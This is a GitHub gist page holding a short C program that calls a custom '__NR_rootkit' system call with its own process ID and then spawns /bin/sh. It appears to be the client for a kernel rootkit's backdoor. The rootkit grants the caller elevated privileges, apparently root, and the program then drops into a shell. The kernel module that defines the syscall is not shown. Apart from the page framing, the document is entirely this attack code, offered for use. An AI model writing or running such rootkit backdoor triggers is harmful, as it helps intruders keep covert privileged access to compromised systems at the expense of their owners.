Skip to content

Instantly share code, notes, and snippets.

@tariqadel
Created August 6, 2009 14:02
Show Gist options
  • Save tariqadel/163324 to your computer and use it in GitHub Desktop.
Save tariqadel/163324 to your computer and use it in GitHub Desktop.
#include <linux/unistd.h>
#include <sys/syscall.h>
#include <stdio.h>
#define rootkit(x,y) syscall(__NR_rootkit,x,y)
main() {
printf("Exit code = %d\n\n",rootkit(1,getpid()));
char *cmd[2];
cmd[0] = "/bin/sh";
cmd[1] = NULL;
execve(cmd[0], cmd, NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment